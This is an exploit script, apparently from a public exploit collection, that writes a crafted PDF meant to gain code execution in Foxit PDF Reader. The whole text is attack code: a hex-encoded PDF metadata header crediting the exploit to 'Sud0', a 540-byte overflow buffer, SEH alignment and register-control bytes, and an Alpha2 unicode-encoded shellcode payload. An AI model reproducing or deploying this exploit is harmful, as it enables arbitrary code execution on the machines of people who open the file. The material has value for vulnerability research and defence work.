header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x39x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70x65" 
header +="x2Fx58x4Dx4Cx2Fx4Cx65x6Ex67x74x68x20x33x37x36x30" 
header +="x2Fx54x79x70x65x2Fx4Dx65x74x61x64x61x74x61x3Ex3E" 
header +="x73x74x72x65x61x6Dx0Dx0Ax3Cx3Fx78x70x61x63x6Bx65" 
header +="x74x20x62x65x67x69x6Ex3Dx22xEFxBBxBFx22x20x69x64" 
header +="x3Dx22x57x35x4Dx30x4Dx70x43x65x68x69x48x7Ax72x65" 
header +="x53x7Ax4Ex54x63x7Ax6Bx63x39x64x22x3Fx3Ex0Dx0Ax3C" 
header +="x78x3Ax78x6Dx70x6Dx65x74x61x20x78x6Dx6Cx6Ex73x3A" 
header +="x78x3Dx22x61x64x6Fx62x65x3Ax6Ex73x3Ax6Dx65x74x61" 
header +="x2Fx22x20x78x3Ax78x6Dx70x74x6Bx3Dx22x41x64x6Fx62" 
header +="x65x20x58x4Dx50x20x43x6Fx72x65x20x34x2Ex30x2Dx63" 
header +="x33x31x36x20x34x34x2Ex32x35x33x39x32x31x2Cx20x53" 
header +="x75x6Ex20x4Fx63x74x20x30x31x20x32x30x30x36x20x31" 
header +="x37x3Ax31x34x3Ax33x39x22x3Ex0Dx0Ax20x20x20x3Cx72" 
header +="x64x66x3Ax52x44x46x20x78x6Dx6Cx6Ex73x3Ax72x64x66" 
header +="x3Dx22x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex77x33x2E" 
header +="x6Fx72x67x2Fx31x39x39x39x2Fx30x32x2Fx32x32x2Dx72" 
header +="x64x66x2Dx73x79x6Ex74x61x78x2Dx6Ex73x23x22x3Ex0D" 
header +="x0Ax20x20x20x20x20x20x3Cx72x64x66x3Ax44x65x73x63" 
header +="x72x69x70x74x69x6Fx6Ex20x72x64x66x3Ax61x62x6Fx75" 
header +="x74x3Dx22x22x0Dx0Ax20x20x20x20x20x20x20x20x20x20" 
header +="x20x20x78x6Dx6Cx6Ex73x3Ax78x61x70x3Dx22x68x74x74" 
header +="x70x3Ax2Fx2Fx6Ex73x2Ex61x64x6Fx62x65x2Ex63x6Fx6D" 
header +="x2Fx78x61x70x2Fx31x2Ex30x2Fx22x3Ex0Dx0Ax20x20x20" 
header +="x20x20x20x20x20x20x3Cx78x61x70x3Ax43x72x65x61x74" 
header +="x65x44x61x74x65x3Ex32x30x31x30x2Dx30x37x2Dx30x36" 
header +="x54x31x31x3Ax30x31x3Ax34x32x2Bx30x37x3Ax30x30x3C" 
header +="x2Fx78x61x70x3Ax43x72x65x61x74x65x44x61x74x65x3E" 
header +="x0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx78x61x70x3A" 
header +="x43x72x65x61x74x6Fx72x54x6Fx6Fx6Cx3Ex57x72x69x74" 
header +="x65x72x3Cx2Fx78x61x70x3Ax43x72x65x61x74x6Fx72x54" 
header +="x6Fx6Fx6Cx3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3C" 
header +="x78x61x70x3Ax4Dx6Fx64x69x66x79x44x61x74x65x3Ex32" 
header +="x30x31x30x2Dx30x37x2Dx31x37x54x31x39x3Ax31x32x3A" 
header +="x34x37x2Dx30x37x3Ax30x30x3Cx2Fx78x61x70x3Ax4Dx6F" 
header +="x64x69x66x79x44x61x74x65x3Ex0Dx0Ax20x20x20x20x20" 
header +="x20x20x20x20x3Cx78x61x70x3Ax4Dx65x74x61x64x61x74" 
header +="x61x44x61x74x65x3Ex32x30x31x30x2Dx30x37x2Dx31x37" 
header +="x54x31x39x3Ax31x32x3Ax34x37x2Dx30x37x3Ax30x30x3C" 
header +="x2Fx78x61x70x3Ax4Dx65x74x61x64x61x74x61x44x61x74" 
header +="x65x3Ex0Dx0Ax20x20x20x20x20x20x3Cx2Fx72x64x66x3A" 
header +="x44x65x73x63x72x69x70x74x69x6Fx6Ex3Ex0Dx0Ax20x20" 
header +="x20x20x20x20x3Cx72x64x66x3Ax44x65x73x63x72x69x70" 
header +="x74x69x6Fx6Ex20x72x64x66x3Ax61x62x6Fx75x74x3Dx22" 
header +="x22x0Dx0Ax20x20x20x20x20x20x20x20x20x20x20x20x78" 
header +="x6Dx6Cx6Ex73x3Ax64x63x3Dx22x68x74x74x70x3Ax2Fx2F" 
header +="x70x75x72x6Cx2Ex6Fx72x67x2Fx64x63x2Fx65x6Cx65x6D" 
header +="x65x6Ex74x73x2Fx31x2Ex31x2Fx22x3Ex0Dx0Ax20x20x20" 
header +="x20x20x20x20x20x20x3Cx64x63x3Ax66x6Fx72x6Dx61x74" 
header +="x3Ex61x70x70x6Cx69x63x61x74x69x6Fx6Ex2Fx70x64x66" 
header +="x3Cx2Fx64x63x3Ax66x6Fx72x6Dx61x74x3Ex0Dx0Ax20x20" 
header +="x20x20x20x20x20x20x20x3Cx64x63x3Ax63x72x65x61x74" 
header +="x6Fx72x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x20x20" 
header +="x20x3Cx72x64x66x3Ax53x65x71x3Ex0Dx0Ax20x20x20x20" 
header +="x20x20x20x20x20x20x20x20x20x20x20x3Cx72x64x66x3A" 
header +="x6Cx69x3Ex73x70x6Cx6Fx69x74x3Cx2Fx72x64x66x3Ax6C" 
header +="x69x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x20x20x20" 
header +="x3Cx2Fx72x64x66x3Ax53x65x71x3Ex0Dx0Ax20x20x20x20" 
header +="x20x20x20x20x20x3Cx2Fx64x63x3Ax63x72x65x61x74x6F" 
header +="x72x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx64x63" 
header +="x3Ax74x69x74x6Cx65x3Ex0Dx0Ax20x20x20x20x20x20x20" 
header +="x20x20x20x20x20x3Cx72x64x66x3Ax41x6Cx74x3Ex0Dx0A" 
header +="x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x3C" 
header +="x72x64x66x3Ax6Cx69x20x78x6Dx6Cx3Ax6Cx61x6Ex67x3D" 
header +="x22x78x2Dx64x65x66x61x75x6Cx74x22x3Ex43x6Fx64x65" 
header +="x20x45x78x65x63x20x6Fx6Ex20x46x6Fx78x69x74x20x70" 
header +="x64x66x20x72x65x61x64x65x72x20x61x70x70x6Cx69x63" 
header +="x61x74x69x6Fx6Ex20x62x79x20x53x75x64x30x2Ex2Ex2E" 
header +="x2Ex3Cx2Fx72x64x66x3Ax6Cx69x3Ex0Dx0Ax20x20x20x20" 
header +="x20x20x20x20x20x20x20x20x3Cx2Fx72x64x66x3Ax41x6C" 
header +="x74x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx2Fx64" 
header +="x63x3Ax74x69x74x6Cx65x3Ex0Dx0Ax20x20x20x20x20x20" 
header +="x3Cx2Fx72x64x66x3Ax44x65x73x63x72x69x70x74x69x6F" 
header +="x6Ex3Ex0Dx0Ax20x20x20x20x20x20x3Cx72x64x66x3Ax44" 
header +="x65x73x63x72x69x70x74x69x6Fx6Ex20x72x64x66x3Ax61" 
header +="x62x6Fx75x74x3Dx22x22x0Dx0Ax20x20x20x20x20x20x20" 
header +="x20x20x20x20x20x78x6Dx6Cx6Ex73x3Ax70x64x66x3Dx22" 
header +="x68x74x74x70x3Ax2Fx2Fx6Ex73x2Ex61x64x6Fx62x65x2E" 
header +="x63x6Fx6Dx2Fx70x64x66x2Fx31x2Ex33x2Fx22x3Ex0Dx0A" 
header +="x20x20x20x20x20x20x20x20x20x3Cx70x64x66x3Ax4Bx65" 
header +="x79x77x6Fx72x64x73x3Ex62x75x66x66x65x72x20x6Fx76" 
header +="x65x72x66x6Cx6Fx77x20x65x78x70x6Cx6Fx69x74x61x74" 
header +="x69x6Fx6Ex2Cx20x75x6Ex69x63x6Fx64x65x2Cx20x43x6F" 
header +="x64x65x20x45x78x65x63x20x73x68x65x6Cx6Cx63x6Fx64" 
header +="x65x3Cx2Fx70x64x66x3Ax4Bx65x79x77x6Fx72x64x73x3E" 
header +="x0Dx0Ax20x20x20x20x20x20x20x20x20x3Cx70x64x66x3A" 
header +="x50x72x6Fx64x75x63x65x72x3Ex4Fx70x65x6Ex4Fx66x66" 
header +="x69x63x65x2Ex6Fx72x67x20x33x2Ex32x3Cx2Fx70x64x66" 
header +="x3Ax50x72x6Fx64x75x63x65x72x3Ex0Dx0Ax20x20x20x20" 
header +="x20x20x3Cx2Fx72x64x66x3Ax44x65x73x63x72x69x70x74" 
header +="x69x6Fx6Ex3Ex0Dx0Ax20x20x20x20x20x20x3Cx72x64x66" 
header +="x3Ax44x65x73x63x72x69x70x74x69x6Fx6Ex20x72x64x66" 
header +="x3Ax61x62x6Fx75x74x3Dx22x22x0Dx0Ax20x20x20x20x20" 
header +="x20x20x20x20x20x20x20x78x6Dx6Cx6Ex73x3Ax78x61x70" 
header +="x4Dx4Dx3Dx22x68x74x74x70x3Ax2Fx2Fx6Ex73x2Ex61x64" 
header +="x6Fx62x65x2Ex63x6Fx6Dx2Fx78x61x70x2Fx31x2Ex30x2F" 
header +="x6Dx6Dx2Fx22x3Ex0Dx0Ax20x20x20x20x20x20x20x20x20" 
header +="x3Cx78x61x70x4Dx4Dx3Ax44x6Fx63x75x6Dx65x6Ex74x49" 
header +="x44x3Ex75x75x69x64x3Ax37x61x37x35x39x32x38x66x2D" 
header +="x63x65x63x34x2Dx34x30x37x65x2Dx38x65x65x34x2Dx39" 
header +="x34x37x33x37x37x62x66x39x38x62x66x3Cx2Fx78x61x70" 
header +="x4Dx4Dx3Ax44x6Fx63x75x6Dx65x6Ex74x49x44x3Ex0Dx0A" 
header +="x20x20x20x20x20x20x20x20x20x3Cx78x61x70x4Dx4Dx3A" 
header +="x49x6Ex73x74x61x6Ex63x65x49x44x3Ex75x75x69x64x3A" 
header +="x65x61x39x32x61x36x64x63x2Dx65x61x36x61x2Dx34x31" 
header +="x63x34x2Dx62x34x63x38x2Dx35x36x61x64x33x63x38x35" 
header +="x31x33x62x66x3Cx2Fx78x61x70x4Dx4Dx3Ax49x6Ex73x74" 
header +="x61x6Ex63x65x49x44x3Ex0Dx0Ax20x20x20x20x20x20x3C" 
header +="x2Fx72x64x66x3Ax44x65x73x63x72x69x70x74x69x6Fx6E" 
header +="x3Ex0Dx0Ax20x20x20x3Cx2Fx72x64x66x3Ax52x44x46x3E" 
header +="x0Dx0Ax3Cx2Fx78x3Ax78x6Dx70x6Dx65x74x61x3Ex0Dx0A" 
header +="x3Cx3Fx78x70x61x63x6Bx65x74x20x65x6Ex64x3Dx22x77" 
header +="x22x3Fx3Ex0Dx0Ax65x6Ex64x73x74x72x65x61x6Dx0Dx0A" 
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax38x30x20x30x20x6Fx62x6A" 
header +="x0Dx0Ax3Cx3Cx2Fx43x72x65x61x74x69x6Fx6Ex44x61x74" 
header +="x65x28x44x3Ax32x30x31x30x30x37x30x36x31x31x30x31" 
header +="x34x32x2Bx30x37x27x30x30x27x29x2Fx41x75x74x68x6F" 
header +="x72x28x2Ax53x75x64x30x2Ax29x2Fx43x72x65x61x74x6F" 
header +="x72x28x57x72x69x74x65x72x29x2Fx4Bx65x79x77x6Fx72" 
header +="x64x73x28x62x75x66x66x65x72x20x6Fx76x65x72x66x6C" 
header +="x6Fx77x20x65x78x70x6Cx6Fx69x74x61x74x69x6Fx6Ex2C" 
header +="x20x75x6Ex69x63x6Fx64x65x2Cx20x65x67x67x68x75x6E" 
header +="x74x65x72x20x73x68x65x6Cx6Cx63x6Fx64x65x29x2Fx50" 
header +="x72x6Fx64x75x63x65x72x28x4Fx70x65x6Ex4Fx66x66x69" 
header +="x63x65x2Ex6Fx72x67x20x33x2Ex32x29x2Fx4Dx6Fx64x44" 
header +="x61x74x65x28x44x3Ax32x30x31x30x30x37x31x37x31x39" 
header +="x31x32x34x37x2Dx30x37x27x30x30x27x29x2Fx54x69x74" 
header +="x6Cx65x28" 

junk = "A"*540
align="x5Ax41x46x6Ax41x61x5Cx5Cx41x61x41x54x41xC3" # Align + SEH ... SEH = 0x006A0046
control="xB3x30xB3" # control of ECX to point it to writeable address (need only two bytes, third one is junk)

# Unicode Shellcode Alpha2 encoded with a small modification because we had to play with registers in the align shellcode before
shellcode="TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kplldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLldnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tri8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SOxlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbBJp0NsPQr2KO8PLqupNpioOeIxZjA"

footer= "x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6A"

pdf= open('Foxit-exploit.pdf', 'wb+')
pdf.write(header)
pdf.write(junk)
pdf.write(align)
pdf.write(control)
pdf.write(shellcode)
pdf.write(footer)
pdf.close()